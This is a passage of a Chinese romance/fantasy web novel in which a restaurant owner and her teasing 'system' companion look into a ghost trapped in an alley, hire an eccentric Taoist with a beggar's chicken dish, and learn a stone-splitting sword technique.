姜泊清送大理寺卿回府,走时让她好好休息,切勿多想。
“我知道的。”
她当时只是被吓住了,以为大理寺卿是酒喝多了,才致晕厥,未曾想到还有其他原因。
他温柔地揉了揉她的头,捏了捏她的脸,“别光知道,要记住。”
他揽住她的腰,往怀里带,低眸看她:“你这女娘,遇事总往坏处想,每每自己吓唬自己……这可不是个好习惯,要改。”
“嗯。”
她知晓遇事总往坏处想不好,可两个世界,她都孑然一身,渐渐也养成了这般性格,总爱多想,以至于闹出了许多乌龙事。
她也想过要改,但自幼就养成的习惯要改掉谈何容易。
他似是看透了她的心思,紧紧抱住她,在她耳边柔声说:“阿吟,我在你身后,别怕,无论出了何事,我永远为你兜底。”
他的姑娘不容易,丧父丧母,一个人经营食楼,必然受了很多委屈,所以才会胡思乱想。
而他,心疼她,以后必然不让她受一丝委屈。
头一次有人对她说这话,沈秋吟没忍住,竟不自觉落下泪来,她怕他发现,赶忙环住他的腰,埋在他胸前。
强装镇定道:“你是在许诺吗?”
他“嗯”了一声。
她低声说:“既许了,就要做到。”
他摸着她柔顺的头发,郑重道:“我若食言,便遭五雷轰顶,不得好死。”
沈秋吟不语,偷偷拿他的衣衫抹眼泪。
真好呀!
她也有人护着了。
姜泊清知道她在哭,也知晓这姑娘好面子,便装作不知道,由着她去。
过了一会儿,她稳住了情绪,仰起头道:“快走吧,待会儿师傅该催了。”
若换做从前,他铁定要逗一逗她才肯走,但今日特殊,他也生不出坏心思,顺着她话说:“那我走了。”
“嗯。”
姜泊清松开她,沈秋吟目送他离去,直至他身影彻底消失在黑暗中,才转身回屋。
洗漱后,她躺在床上,辗转反侧睡不着。
白日之事,历历在目,林婆子的话反反复复出现在脑海里,搅得她心神不定。
沈秋吟烦躁地滚了两圈,突然忆起点什么东西,急切呼唤系统上线。
“你曾给我说过,灯会时咱们迷路的那个胡同有死人,还有法阵。”
“对。”
这是它说的,它记得清清楚楚,明明白白,但沈秋吟不对劲儿,她一直害怕那事儿,不愿提起,今晚是怎么了?
转性了?
沈秋吟愿意提起这事儿,自然不是转性了,而是心中有几分猜想。
再说自己猜想前,她先将姜泊清今日与她说的大理寺卿与林婆子之间的纠葛说与它听。
系统听完后好一阵才消化完,而后惊道:“你是不是怀疑咱们迷路的那个胡同就是百花胡同。”
“对,”沈秋吟这才将自己心中的猜想道来,“林婆子说,在梦里,她女儿与她说自己被困在那里,投不了胎,转不了世,成不了人。这就说明有什么东西将她压住。而你想想能压住鬼魂的是什么?”
系统想也不想答道:“自然是法阵了。”
“对呀!只有法阵能做到。那就说明了我们那晚误入的就是百花胡同。”
系统“嗯”一声,觉着有道理,沈秋吟分析得很正确,可是,它道:“我有几个疑问。”
“什么疑问?”
“若认定了那晚迷路的地方就是百花胡同,法阵压住的就是林小娘子。那么,作法之人是谁?谁又这么坏,想她永世不得超生?”
56. 做个人吧!
“这个……你问我,我也只能说我也不知道。”
她只是听完事情始末,心有感应,觉着迷路的胡同就是百花胡同。
但要问她为何林小娘子被困在那里,谁要害她,这就不是她能想通的问题了。
“要不,去看看?”系统提议道。
百花胡同虽成废墟,但说不定能找出点蛛丝马迹。毕竟那里还困着一个无□□回之人,通通灵,或者找找人脉,万一就有点头绪了。
“去看看?”沈秋吟一时不解,反应过后,愣愣道,“你是说……去百花胡同看看?”
“嗯。”
去,去,去百花胡同!
说什么鬼话!
她怀疑系统癫了!
好一个癫统!
百鬼夜行,黑猫啼叫,这画面,美的不敢想象。
她拿起枕头捂住脸,抗拒道:“我不去!打死我都不去。”
要她再去那鬼地方,真不如杀了她好。
她这人呀,贪生且怕死呀!
再说,还有那么多银子没消耗呢!还没有为国家财政做贡献呢!就这么死了不划算呀!
系统劝道:“别这样嘛!咱就当鬼屋探险了,没准还有奇遇。”
“不,不去,”她连连摇头,才不听它的鬼话,“奇遇肯定没有,恶鬼到能带两只回来。”
“这世上没鬼。”
“那林小娘子的事儿该如何解释?”
“这是玄学。玄之又玄,我等参破不了。”
“你看,你也知道参破不了了,那咱们还去干嘛?给恶鬼当零食?就咱这细皮嫩肉的,够它塞牙缝吗?算了算了。”
反正,说什么她也不会去。
“不过,”系统的声音突然支吾起来,透露出些许点迫不得已的意味,它说,“似乎……由不得宿主了。”
啥意思?
沈秋吟预感大事不妙,心中的戒备拉到最高,默默祈祷,别搞事儿!千万别搞事儿!
求求了,做个好统吧!
然,天不遂人愿,下一秒就听系统正经道:“检测到宿主消极懒怠中,启动探案模式,前往百花胡同。任务成功,奖励一千分,任务失败,当场毙命。”
音落的那刻,沈秋吟脸色煞白,颤声道:“你……你不是甜文了吗?……怎么还反骨呀?”
关键是和她想象中的不一样呀?
系统道:“有没有可能……我名义上叫甜文,实际上内里还是反骨?”
啥?
这不就是换汤不换药,挂羊头卖狗肉吗?
搞懂后沈秋吟大叫:“骗子!啊!骗子!你就是个骗子!”
她一把坐了起来,使劲儿捏着枕头出气,控诉道:“你当时不是这样给我说的。你说甜文是指导我谈恋爱。”
既然指导恋爱,就该走甜甜的剧情呀!让她和姜泊清牵牵手、亲亲嘴,举高高,求抱抱。
这种鬼屋探险,如此刺激的项目,怎么能配得上甜文的身份嘛!
淦!
系统自然没忘,只是宿主听话没听全,它好心提醒道:“有没有可能,我前面有个限定词——名义?名义上是指导你谈恋爱的,内里嘛……宿主这么聪明,应该懂得?”
它说完,哈哈笑起来,企图蒙混过去。
“所以,”沈秋吟咬牙切齿,“你这是诈骗。我告诉你,我可以去告你的。反诈中心我必让你榜上有名。”
“咱就说,统啊,它归统界的反诈中心管。”
好好好!这是告诉她投诉无门是吧!
真的要气疯了!
沈秋吟握紧了拳头,深呼吸,再呼吸,忍一下,再忍一下,忍到最后,丫的,又不是忍着神龟,忍什么忍,不忍了。
系统感受道宿主冲天的怒火,正要安抚,便听得一声尖锐吼叫,宿主叉腰梗着脖子说:“狗系统,丫的给老娘有多远滚多远!风水轮流转,不是不报,时候未到,你记住你今日的所作所为。这仇不报,老娘把名字倒着写。”
系统觉着自己完了,依照这走势,若有一日自己真的落在宿主手上,估计尸骨无存。
顶着狂风暴雨,它弱弱解释道:“宿主,这也不能怪我!系统设定如此,任务随机触发。不管我的事儿,真不管我的事儿。”
它说的十分真诚,希望能得到宿主谅解。
也不需要太多谅解,只求有朝一日,真栽她手上时可以保住小命就行。
沈秋吟正在气头,不加理会,殷红小嘴一张一合,把生平能想到的诅咒之词都说了出来。
它此生就未见过如此会骂的人,仿若张仪在世,巧舌如簧,舌若莲花,令它一点插嘴的机会也没有。
它被骂的狗血淋头,哼哼唧唧,委委屈屈,不敢说话。
紧等慢等,终于等到宿主喘气,它抓住机会,灰溜溜的下线。
这女人,惹不起,实在惹不起,谁惹要谁命。
沈秋吟骂它一阵,心中怒气解了一半,喝了一杯水后躺床上叽叽哇哇翻滚了好一阵。
只要一想到必须去百花胡同,她浑身充满了抗拒,以至于一夜难眠,睡的迷迷糊糊,脑海里全是天马行空的奇怪想象,或恐怖,或神奇。
到最后,她半梦半醒间见着了一个浑身是血的女鬼,瞳孔里充满了怨气,阴森森叫道:“他杀了我,他杀了我……”
梦里她到大胆,直截了当对那女鬼说道:“姐姐,他杀了你,你去找他呗,来找我干嘛?我又没杀你。”
那女鬼忽然熄了气焰,惨兮兮道:“他把我压在这里,我找不到他……那个畜生要让我做鬼也不得安宁,好狠的心,好狠的心呀!”
沈秋吟叹了口气,一听这口吻,多半就是书里写的男的靠女的飞黄腾达后不认女的,反而将女的杀害困住魂灵,让她做鬼也得不到安息。
那谁不就是吗?就是那个靠着原配起家的船夫。本以为是个知恩图报的人,谁曾想功成名就后与另外的女子有染,等着原配死后,还给人家修了个像棺椁似的屋子,说是纪念,但懂行的人都说是在压魂。
如此一想,沈秋吟觉着自己的猜测越发的正确。
女鬼还在嘤嘤地哭,她听得不耐烦,问道:“怎样才能让你去找他?”
女鬼道:“帮我斩断束缚着我的两根铁链子。”
沈秋吟仔细一看,那女鬼的脚上赫然出现两根有成年男人手臂粗的铁链子,链子上还贴着黄色符纸。
难怪找不到他,这么粗的铁链子锁着,鬼也没办法。
唉……
既然叫她
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遇上了这糟心的事儿,她也就好人做到底了。
她走过去,正要撕下符纸,忽然冒出了一道刺眼的金光,她下意识侧头,用手挡住。
金光初时大盛,而后慢慢减弱,她直起了身子,放下了手,瞧着眼前这一幕。
黄色符纸突然变得巨大,上头用朱砂写下的道家术语飞出来,绕着女鬼将它生生压了下去。
女鬼发出撕心裂肺地吼叫,显然被压得心不甘情不愿。
“早知道我就该打死你,该打死你……”
这是女鬼留下的最后一句话。
沈秋吟一愣,难道不是男的抛妻的故事,而是女的杀夫反被夫反杀的故事?
她摩挲着下巴,仔细思考。
而这时,忽地走出一面目狰狞的男子,看着那被压下去的女鬼,疯狂大叫道:“我要这毒妇永世不得超生,永世不得超生……”
一时间黑猫啼叫,犹如婴哭,声声惨烈,黑影重重,似怨念化身,横冲直撞。
沈秋吟蓦地惊醒,才发现是大梦一场,恍恍惚惚间,又睡了过去,朦朦胧胧时又是一场荒唐的梦。
第二日,鸡公打鸣,叫起了懒惰的圆日,金光洒落之处,一派生机。
她顶着一双熊猫眼,阴沉沉出现在章丘面前。
章丘吓了好大一跳,以为白日见鬼,差点就要跑,沈秋吟一把拉住了他。
“跑什么跑!”
越发没规矩了,见了她居然还跑,她又不是什么大魔头,有这么恐怖吗?
咦?会说话,不是鬼。
呜呜呜!
还好不是鬼!
章丘定住了心神,瞧着她那两个硕大无比的黑眼圈道:“掌柜的,昨晚是做贼去了?”
“做贼?咋可能,老娘家财万贯,用得着做贼?”
真真是笑话,她做贼?偷别人?顶多是别人做贼,偷她还差不多。
毕竟,她是个有钱的小娘子!
“那可不一定。万一人心不足蛇吞象呢!”
这种事儿他听多,这不,那李员外就是,赔了夫人又折兵,可那白月光……唉……
沈秋吟一听这话,二话不说给了他一拳:“会不会说话?”
章丘捂住胸口:“会会会,掌柜的貌美如花,美若天仙。所以,昨晚究竟干啥去了?”
正经人吧,没个百八十年是熬不出这般的大得黑眼圈的,这尺度,快赶上可可爱爱的食铁兽了。
沈秋吟打了个瞌睡,精神恍惚道:“给你说了也不懂。你别问了。去给我清个道士来。”
道士?
乖乖滴,清道士,这是要做啥?
章丘丈二和尚摸不着头脑,想不通好端端的为啥要清道士。
难道是,百膳楼闹鬼了?
百鬼缠身?
还是掌柜的被鬼王瞧上了,即将要做鬼王的新娘?
沈秋吟瞧他那猥琐的样儿,就晓得他没想啥好东西,立马又给了他一拳。
“我劝你想点人事!”
章丘吃痛的捂住自己被二次伤害的胸口,心想着他哪里没想人事儿了,话本子上都这么写着的。
什么冥王的小娇妻呀。
鬼王的新娘呀。
沈秋吟面无表情:做个人吧!
57. 叫花鸡
“你找道士干嘛?”系统不解道。
“你说干嘛?自然是因为你做的好事呀!”沈秋吟没好气回它。
若不是受它压迫,谁会想着找道士呀!大好日子过着,舒舒服服的,谁搞这些玩意儿。
“哈哈哈……”系统尬笑两声,“宿主……想得真周到,找道士破除法阵!”
“错!”
“嗯?”
沈秋吟道:“破什么阵呢!那阵是咱们能破的吗?你想想,林小娘子的怨念如此强烈,咱们要是把法阵破了,她万一直接成了恶鬼怎么办?”
她可不想被鬼给生吞活剥了。
“所以,道士的作用是挡剑?开路?吉祥物?”
“不不不,都不是。”
这些都太小儿科了,不是沈秋吟要的。
“那是?”
“教我们保命之术!”
天大地大,保命最大,别人的命自有别人的定数,她管不着。但自己的命一定要掌握在自己的手中。
所以,还有什么是比学会一个保命之术更好的呢!
系统一愣,想通后道:“牛呀!还得是你!”
怕死怕得比谁都厉害!
世上除她,也没谁了。
话说这世道吧,真道士难找,假道士一堆。
这不章丘甫一上街,便瞧着五米一个鬼谷子亲传弟子,十米一个周公后人,个个闭着眼,手指掐了又掐了,装得高深莫测,看着道行匪浅。
不懂行的估计会深信不疑,但懂行的只觉得演技极差。
你瞧那个鬼谷子传人,那掐算的手跟鸡爪筛食一样,位置都没掐对,就这还算命,估计算鬼命吧。
再瞧那周公后人,一双眼时不时露点光,看看行走的路人,跟做贼似的,点都不像个正经人。
章丘虽然不懂行,但也知晓真正有本事的道士不该是这样,所以他也不凑上去问人家擅不擅长抓鬼了,只看了两眼,摇摇头,直接走了。
他走了一条街,腿都走疼了,也没找着一个真正的道士。
唉……这差事有点难办了。
你说找个假道士吧,万一掌柜的真被恶鬼缠身,那他岂不是害了她,可要找个真的吧,又找不着。
难啊,难啊难!
可再难又怎样?他还不是得办,掌柜的命令就是皇帝的圣旨,就算上刀山下火海他也要去办,这样才能加工钱,讨媳妇嘛。
嘿嘿!
既然这条街没有,章丘就换了一条街。那条街也没有,他又换另一条街。就这样走了四五六七八条街吧,还是没找着一个真道士。
而这会儿已经是日头高照,晒得人难受,汗水大滴大滴流。
章丘停了下来,拈起衣裳,扯了扯透了点风,念道:“怪哉,怪哉。明明是春日,怎得会如夏日般热,真真是奇了怪了。”
他热得有些受不了,恰巧看着不远处有个桥洞,桥洞里有一片阴凉,便直直地走了过去。
桥洞临水,有些许风,风吹来,热气散了一半,让他好受些。
他正准备坐下,打算等日头没那么毒辣时再去寻人,却突然听见一道低沉的声音,那人道——
“何人闯老夫地盘?”
章丘吓得跳了起来,“谁,谁在说话。青天白日,我才不怕你!”
他东张西望,寻找说话的人,可四周除了草,连个人的影子也没有。
莫非,又又又撞鬼了?
这个“又”字就用得很灵性,这小子,把早晨被沈秋吟吓着的事儿也算进去了。
就在他害怕得厉害时,从草丛里走出个腰系葫芦,衣衫不整、邋里邋遢的老人来。
老人看着约莫古稀之年,花白的头发,花白的胡须,只一双眼并不如其他老人浑浊,相反十分明亮,仿佛看透世间万事的本来面目。
“你,你,你是谁?”
老人没答话,瞅了他一眼,突然凑上前嗅了嗅,章丘躲了躲,警惕地看着他,活像看一个图谋不轨的登徒子。
老人瞧他那傻眼,不屑地哼哧了一声,说道:“老夫对男的不敢兴趣!”
他这话一出,章丘连忙双手交叉,护住自己,更加警惕了。
老人无奈地拍拍头,唉,这小子听不懂人话。
章丘上上下下打量着老人,此人行事放浪,不像个好人!
他偷偷退了几步,想要溜走。
那老人却一把抓住了他的衣衫:“你不是替你们掌柜的找道士吗?不带我走,你回去怎么交差?”
“你怎么知道我找道士?”章丘惊道。
这件事天知、地知、他知、掌柜知,除此之外,应无他人知晓了。
老者呵呵地笑了几声,反问:“你说我怎么知道?”
章丘愣了一会儿,反应过来后,激动道:“大师,大师,真大师呀!”
老人就这样被他清回了百膳楼。
沈秋吟看着那个狼吞虎咽的老人,不禁傻了眼,“这是饿了多久呀?”
章丘摇摇头,表示自己也不知道。
“真是个道士?”
章丘继续摇头,表示他也不确定。
“那你清他回来做什么?做善事?”
做善事,她到不反对,就是他看着像饿鬼,吃也吃得凶猛,她怕他把胃吃坏了。
“倒也不是。他一语道破了我找道士,我就把他给清回来了。”
一语道破!
她找道士的事就章丘知晓,而他却一语道破……
沈秋吟眨巴眨巴眼,脑子转过弯后,激动地搓手。
大师,真大师,这就是她要的神人!
“快快快!再给大师上几盘菜。”
这种真大师,都是有大本领在身上的,怎么会吃坏肚子呢!
系统:“女人,你会变脸!”
“谢谢夸奖,不光会变脸,我还会变身,你要不要看看?”
此话不善,乍一听平平无奇,仔细一听,却暗带杀机,系统连连道:“不用,不用……”
沈秋吟微微一笑:“所以,你还待这里干嘛?想看我变身?”
“啊?”看她变身?这就是自找苦头,肯定不要了啦!
它赶忙道:“这就走,这就走……”
那下线的速度,是生怕她抑制不住脾气,一眨眼就没了影。
大师得了新菜,吃得更欢实。
沈秋吟凑了上去,一脸讨好:“大师……”
老人咬了一口手撕牛肉,灌了一口酒,咽下去后道:“想学保命之术对吧?”
哦莫!连这个都能知道,神,真乃神人也!
沈秋吟疯狂点头,眼眸泛着精光。
老人放下牛肉,放下葫芦,“听闻沈掌柜做菜的手艺一绝,老夫不知有没有幸能尝……”
他话还没说完,沈秋吟便忙不迭是道:“能!”
就冲大师开口,不能也得能。
老人笑了笑道:“那就有劳沈掌柜了。我素爱吃鸡。”
“好好好,大师等着,我这就去。”
沈秋吟离了前堂,去到后厨。
她对着一堆食材犯难,怎样才能让他吃了后二话不说就教她保命之术呢?
沈秋吟想了想。
大师素爱吃鸡,又穿得不像旁人整洁,那不如就来道叫花鸡。
这叫花鸡大有来头,乃是江南名菜,苏州三鸡之一,得过两任皇帝喜爱,又称“富贵鸡”。
传言,这菜乃一沿途乞讨的叫花子偶然得鸡创作出来的,后头广为流传,更被世人喜爱。
要做这菜,需备三黄鸡、荷叶、黄土。
三黄鸡最好不大不小,掐头去尾,然后用葱、姜、黄酒、八角、香叶、花椒粉、盐均匀涂抹其全身去腥,接着搁置一旁,让时间沉淀,腌制入味。
今年还未入夏,不是荷叶盛放的季节,找不到新鲜的荷叶,沈秋吟便找来去年采摘下来的荷叶用盐水泡开,泡软。
而这黄土也不难寻,她拿着铁锹径直走向桂树下撬了一盆,倒入白酒搅和成粘稠状。
一旁看着的王师傅此时疑道:“从前我们都是用水和泥,掌柜的为何用酒?”
沈秋吟解释道:“白酒和土,可以去土腥,抹在荷叶上烤出的三黄鸡,香味更浓。”
王师傅点点头,懂了。
沈秋吟和完泥土,三黄鸡也腌制的差不多了。
她将其取来,往三黄鸡肚子里放腊肉、香肠、香菇、板栗、红枣,直将鸡肚子塞得鼓鼓的才罢休。
接下来便是用泡好的荷叶将三黄鸡包裹住。
为了防漏,沈秋吟足足包了两层荷叶才罢休。
包好后的三黄鸡用棉绳牢牢捆绑住,然后用刚才和成粘稠状的泥土涂抹在荷叶上,直至完全看不到荷叶的影子才住手。
到这步,前期的工作都已完成,剩下的便是将三黄鸡送去灶里,用火炙烤,烤至泥土裂开即可。
王师傅是烧火的好手,反正厨房不忙,他主动请缨烧火,沈秋吟清楚的他的手艺,也就让他去。
大火烧了接近一个时辰,泥土裂了开来了,王师傅小心翼翼的将三黄鸡从灶里取出来。
沈秋吟用盘子接过,放凉后用小木锤撬开裂开的泥土,露出里面冒着气的、深绿色的荷叶。
荷叶未开,一股清香便散了开来,用酒和出的泥土,包裹鸡身入火烤后,果真如掌柜的所说,香味更加浓郁。
王师傅不禁舔了舔唇,好想尝尝。
沈秋吟瞧见了,许诺道:“下回做给你吃。”
这回,她得先将就大师,毕竟要向他学保命之术,得拿出点诚意来,人家才肯教。
“好勒。”王师傅欣喜应着。
沈秋吟端着叫花鸡往前堂去。
堂上老人正拉着章丘吹嘘:“老夫生平,做法阵无数,为多少家百姓除了邪祟,本也该受人供奉,无奈做了一件错事,沦落到这个地步,邋里邋遢,衣不蔽体。说来,也是行差踏错。”
说到这儿,老人颇为感慨,似是为那件做错的事儿后悔不已。
章丘好奇问:“能展开说说吗?”
他最爱听怪力乱神之说。
老人摸着胡须,笑道:“能!不过得给钱,五两银子。”
五两银子!
怎么不去抢呀!
章丘焉了下去,摆摆手:“算了算了,也不是非听不可。”
一场故事只能饱饱耳福,五两银子可不止饱耳福这么简单。
老人哼了一声,道:“财迷。”
章丘回:“跟我们掌柜的
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学的。”
都是言传身教,上行下效。
老人听了这话,摇了摇头,捻着胡须,一副你不懂的样子,“你们掌柜的可不是个财迷,她有一颗七窍玲珑心,知世故而不世故,认得清脚下的路,也走得了通天大道,能受得了尘埃,自然也坐得了高堂。”
章丘一愣,怀疑自己听错了,“你说啥?掌柜的不财迷?我合理怀疑你也是个神棍。”
但凡有真本事的,也说不出这般话。
沈秋吟不财迷,这绝对是他听过最好笑的笑话。
她一个把银子看得比命还重的人,若不财迷,太阳都得打西边出来。
面对他的质疑,老人没有解释,也未多言,只是笑了笑,颇有一种世人笑我太疯癫,我笑他人看不穿的意味。
不过,他既说了掌柜的命,章丘也好奇自己的命该如何,于是道:“掌柜的命都瞧了,不如给我也瞧瞧?”
他伸出手,老人别过头,“不瞧,我是神棍。”
欸,这还记上仇了!
他哄道:“别那么小气哇?我只是表示惊讶!”
毕竟,他那话足够令人吃惊。
“那也不瞧。”
“为何?”
这老头莫非厚此薄彼?
“因为,”老头看向他,“又是另外的价格了。”
还是要钱?
就不能像提掌柜那样随口一提吗?
气死了!
“十两银子,干不干?”老头又说。
“十两!”章丘瞪大了眼睛,“算了算了,当我没提!当我没提!”
这老头的心是真黑!不,全身都黑,没一处白的。
十两银子,张口就来,简直是狮子大开口!
惹不起,实在惹不起。
老人嫌弃地“咦”了一声。
财迷!真财迷!
沈秋吟一个顶好的人,咋就培养出了这么一个掉钱眼子里头的下手呢?
不懂,不明白,不理解!
章丘正欲反驳,忽地闻到一阵淡淡的清香,他情不自禁闭上眼使劲儿嗅了嗅,这味道,让人仿佛置身夏日荷叶堆中。
章丘也不禁文雅了一把,想到了李清照的诗——
“常记溪亭日暮,沉醉不知归路。兴尽晚回舟,误入藕花深处。争渡,争渡,惊起一滩鸥鹭。”
老人比他反应更甚,被这味道勾得哈喇子流下来不说,魂也给勾没了,身体更是不受控制站了起来,直往那香味儿的源头去。
沈秋吟正好到了前堂,瞧他们这般模样,问道:“这是怎么了?”
一个个的举动,怎么有些癫呀?
一语惊醒梦中人,两人从香气中脱离,目光直直落在她手中的托盘上。
包裹三黄鸡鸡身的泥土已经全被去掉,他们入眼的是一团深绿色的东西。
那深绿色仔细一瞧能看出是荷叶,可荷叶里头又包裹着什么?
老人定睛一看,“这是叫花鸡?”
沈秋吟点点头。
老人摸了把嘴角的哈喇子,搓了搓手,“沈掌柜的手艺果真名不虚传呀!真真叫人垂涎三尺,心痒难耐呀!”
沈秋吟知晓他是馋了,便直接将手中托盘递给他。
老人接过后,迫不及待回到座位上将荷叶撕开,露出里头嫩黄的三黄鸡。
三黄鸡经过大火的炙烤,流出了些许汁水来,鸡肚子里夹杂着的食材也露出了香气。
老人咽了咽口水,扯下一只鸡腿,大口一咬,鸡肉软嫩,不柴不腻,怎一个“香”字了得。
再加上酒香,荷叶香,三黄鸡本身的香味混杂在一起,老人发出一声感叹——
“万事不如吃在手,人生几见月当头。”
今日得吃沈秋吟做的叫花鸡,他日死也无憾。
章丘见他吃得这般香,口水抑制不住生长,他吞都吞不赢,委委屈屈看着沈秋吟,可怜兮兮道:“掌柜的……”
他也好想吃呀!
沈秋吟拍了拍他的肩头,哄道:“乖啦。下回,下回给你做哈,咱有求于他,不好抢。”
“行吧,”章丘努力咽下口水,“我要大的,比他的大。”
“好好好,肯定比他的大。”
章丘被安抚住了。
老人吃完一只鸡腿,彻底上头,放飞自我,三下五除二将整只鸡也剖解下肚。
章丘傻了眼,沈秋吟真怕他被撑死,既而怀疑他究竟是不是道士。
道门中人讲究辟谷,轻盈体态,而他这个吃法,怎么看怎么轻盈不了体态,与的道门中人相差甚远呀!
老人啃完最后一口肉,满足地靠在椅子上,发出长长地赞叹声。
人一旦露出这种体态,就是最好说话的时候。
沈秋吟走了上去,坐在他身旁,笑问:“大师,吃饱了没?”
“饱了!”
他摸了摸自己撑成一个圆球的肚子,人生从未如此饱过,连道门规矩都破了,都怪这叫花鸡实在好吃,令他压抑不住口腹之欲。
罪过,罪过!
得了他这一句话,沈秋吟也不再客套,直接了当道:“既然吃饱了,那大师,咱们是不是该学点别的什么了?”
老人一笑:“保命之术嘛,好说,好说。”
58. 木断石块
“保命驱邪第一式,木剑挑魂。”
只见那老人拿出一把桃木剑,行云流水的舞了一段,沈秋吟看了后,眼睛亮了起来,以手为剑,跟着他比划,直呼好剑法,真真是好剑法!帅气!
若是到时候百花胡同里,她使出这招,肯定是闪瞎鬼眼,管他什么怨念还是妖邪,定然统统不敢近身。
那时她就是全场最亮的崽!
这就是她要的女侠风范!
一想到那画面,沈秋吟凑过去嚎道:“学!我要学这个!大师教我!”
她的手已经摸上了桃木剑,老人却将剑收了起来,摸着胡须缓缓道:“此剑法乃是著名的辟邪剑法,鬼怪见之,逃窜无门,不过,要学这剑,需要童子功力,方成剑气,至于你嘛……”
沈秋吟眨巴眨巴眼,嘴角翘了起来,按照接下来的剧情是不是该夸她天赋异禀,乃绝世之奇才,千年难寻!
哎哟!她懂的!
系统为她汗颜,冒泡道:“宿主,咱就说见过脸皮厚的,没见过脸皮比你还厚的。”
还天赋异禀,绝世奇才,千年难寻,亏她想得出来。
要点脸可以么?
不然替人尴尬的毛病真的会犯!
沈秋吟:“你不懂!”
“额……”是它不懂。
反正,宿主丢脸,与统无关,统统什么都不知道。
她做好了迎接夸奖的准备,满脸期待地看着老人。
老人瞥她一眼,说道:“你不行!”
她如今的年岁,早就过了学剑的最好时机了,要在短短时间里学会这个,那是天方夜谭,所以不行。
打脸来得猝不及防,沈秋吟傻眼了。
怎么没有一次是按照她想的剧本走的呀。
淦!
她抓狂两下,丧脸道:“那你舞这剑法的意义何在?”
既然不是让她学,干嘛舞呢?道门中人都是这般不按常理出牌的吗?
老人嘿嘿笑道:“当然是耍帅了呀!”
不给她露一手,怎么展示道门风采?
“我……”沈秋吟心里有上万头马儿在奔跑,一个“去”字被她有礼貌地压了下去。
不能骂!不能骂!现在他是大佬,骂了之后人家不教了就得不偿失了。
只是,道门中人都是这么厚脸皮的吗?
却听那老人答道:“当然不是。只不过贫道脸皮比较厚而已。”
“我去!”沈秋吟惊地后退半步,难以置信看着老人,“你这都能知道?”
乖乖的,这老头子不得了了。
老人面不改色答道:“当然呐!贫道人送神算子,上知天文,下知地理,无所不知,无所不晓。”
这回,沈秋吟是真信了。
“信了呀?这就信了呀?我还想着再展示展示呢!”老人略微不满道。
他还有十八般武艺,七十二变化没有使出来,她怎么就信了呢?
唉,果真是英雄无用武之地。
“哈哈,”她尬笑两声,翻了个白眼,“大可不必,大可不必。”
谁要看他个人秀了,咱要的是真本领。
害怕他跑偏主题,沈秋吟问道:“所以,我不学剑,学什么?”
总不能啥都不学,让她孤身入百花胡同,与那怨念大战三百回合吧?
若真是这般,她只怕会与那怨念为伍,一同祸害人间!
她的想法叫系统颤了颤,忙吱声,“宿主,我不是空气!”
“那你也不是人呀!”
所以她还是孤身一人!
既如此,还是黑化吧!
“额……”
系统还未来得及出声,便听老人暴跳如雷道:“黑化啥?不准黑化!肯定让你学!”
这小娘子若真黑化,让那怨念上身,那他的罪过就更大了。
万不能让她黑化,他还指望她来抵消罪过呢,可不能让她也陷进去了。
他的反应将她吓了一跳。
她拍了拍胸脯稳定心神,问他:“那学啥?”
“当然是学——”
老人将沈秋吟带到一块硕大的石块旁,然后将手中桃木剑给她,“就练这个吧!一步到位,管用。”
沈秋吟满脸迷惑道:“练啥?”
“剑斩石块。用你手的剑将石块劈成两半,便算功成。”
她一愣,看了看自己手中的剑,又瞧了瞧那厚重的石块,问道:“你傻还是我傻?”
用木剑斩石块,确定不是说笑吗?
“你试试不就知晓了吗?”老人摸着胡须,“年轻人,要敢于挑战。”
沈秋吟提着木剑,面向石块,瞥了一眼老人道:“我只怕试试就逝世。”
“那还是不至于的。”
“既如此,那就试试吧。”
她双手握紧木剑,举了起来,一剑下去,忽见寒光,石块起了裂痕,木剑卡在了裂痕中间。
老人看了,夸道:“不错不错,第一剑就裂了一半,若练上几天,定能砍断。”
沈秋吟也是惊奇,拔出木剑细细观看,“真能以木断石,神奇神奇!”
老人“额”了一声,说道:“傻!”
“嗯?”
她傻?哪里傻了?
他说:“不是以木断石,这木剑里藏着玄铁呢,削什么都特别牛。”
沈秋吟恍然大悟,“咱就说嘛,木头哪能断石。”
接下来的几天,沈秋吟便在后院整日整日地砍石头。
小二们见了,以为她相思过甚,无处发泄,便寻了这一个法子缓解心境,于是乎,一个接一个变着法子去开导她。
“掌柜的,姜大人不过出去几日,早晚得回,咱们发泄归发泄,但还是得注意身体。”
沈秋吟停下动作,一脸疑惑地看着他:“他出去就出去呗,我发泄什么?”
大理寺卿在百膳楼晕倒后,姜泊清便外出去了,说是查案。
这小二一愣,看了看她手中的剑,又看了看被劈得不成样的石块,“您这不是发泄,那是——”
总不能是练功吧?
沈秋吟挥了挥手中的剑:“练功!”
那老头子说,只要她能一剑劈开石块,便是功成。
她如一剑能断石块三分之二了,但离劈断,还是差了许多。
小二一愣,还真是练功,可这练哪门子功?
真是奇奇怪怪,搞不明白!
章丘见了,走上去,揽住那小二的肩头往外走,一脸高深莫测道:“这你就不懂了吧!掌柜的那练的是捉鬼的功。”
捉鬼!
青天白日,小二无端的生了凉意,一双眼左顾右盼,忙扯着章丘的衣袖:“这可不兴说哈!”
“确实确实,”章丘拍了拍自己的嘴,“不兴说,不兴说。”
怪他得意忘形了。
又
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几日,沈秋吟功成,老人的脸却跨了下来,哦莫,好日子到头了,不能在百膳楼混吃混喝了,有点难过。
“你这是啥表情,”沈秋吟看着他,“咋感觉要生离死别了一样。”
“可不是生离死别嘛,”老人道,“你这功成了,我还能吃上好吃的吗?”
沈秋吟初初没明白,想了会儿后,懂了,笑道:“放心放心,我可不是那忘恩负义的人,你想吃什么,和我说一声就是,还和以前一样,不会少了你的。”
老人听了这话,摸着胡须笑了起来,“好丫头,我没看错你。”
“不过,”说到这里,他顿了顿,眼眸里流露出几分不舍,“你已功成,咱们这段缘便也了了,老头子我也该离去了。”
“离去?去哪儿?不会又回桥洞吧?”
章丘说过,他是在桥洞遇见这老人的。
“桥洞?自然不是!”
他那日出现在桥洞,不过是为了堵章丘而已。
“那是?”
“天大地大,任我逍遥去!”
“好生自在,”沈秋吟眸中流露出一丝羡慕,“我也想。”
“别!你可不想,”老人忙制止,“我怕姜大人追杀我!”
姜泊清的手段,他可是有所耳闻,惹不起。
“这也是算出来的?”
“肯定不是!”
算命算命,无非是用自己的命去窥探别人的因果,若什么都算,他还要不要活了。
“那是?”
“事实而已。”
第二日清晨,老人收拾行囊准备离开百膳楼。
沈秋吟送了一个食盒给他,里头装了一只叫花鸡,还有数只椒麻鸡腿。
老人闻着香味,眼眶忽然润润的,“你这样,我会舍不得走的。”
